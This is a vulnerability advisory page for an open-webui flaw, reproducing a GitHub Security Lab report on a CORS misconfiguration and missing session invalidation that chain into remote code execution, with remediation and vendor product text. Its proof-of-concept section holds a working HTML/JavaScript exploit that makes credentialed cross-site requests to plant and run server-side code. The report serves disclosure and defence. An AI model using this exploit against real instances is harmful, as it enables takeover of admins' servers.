CVE-2026-56400 — open-webui
CVE-2026-56400 is a CWE-613 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
open-webui - Remote Code Execution via CORS Misconfiguration and Session Validation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56400.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175
The GitHub Security Lab team has identified potential security vulnerabilities in open-webui.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
Summary
Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.
Project
open-webui
Tested Version
Details
Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)
CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.
The following pattern occurs at the following routers:
- backend/apps/webui/main.py
- backend/apps/audio/main.py
- backend/apps/images/main.py
- backend/apps/rag/main.py
- backend/apps/openai/main.py
- backend/apps/ollama/main.py
- backend/main.py
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
Impact
This issue may lead to Remote Code Execution.
Remediation
The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"
Proof of Concept
Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account
<body>
<p>Click here to login.</p>
<div id="response"></div>
<script>
//Firefox cross site cookie request bypass
const url = 'http://localhost:3000/static/favicon.png';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": filter_id,
"name": "test2",
"meta": {"description": "test2"},
"content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n"
}),
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
//Toggle the filter to execute code
fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {
method: 'POST',
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
}
});
</script>
</body>
Issue 2: Failure to Invalidate Session on Logout (GHSL-2024-175)
Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser.
This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users.
Impact
This issue may increase the impact of primitives gained from other security issues.
Remediation
For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage.
Resources
OWASP Recommendation On Sessions
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2024-174 or GHSL-2024-175 in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.3.33pip install --upgrade 'open-webui==0.3.33' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.3.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56400 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-56400 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-56400. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-56400 in your dependencies?
O3 Security finds CVE-2026-56400 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.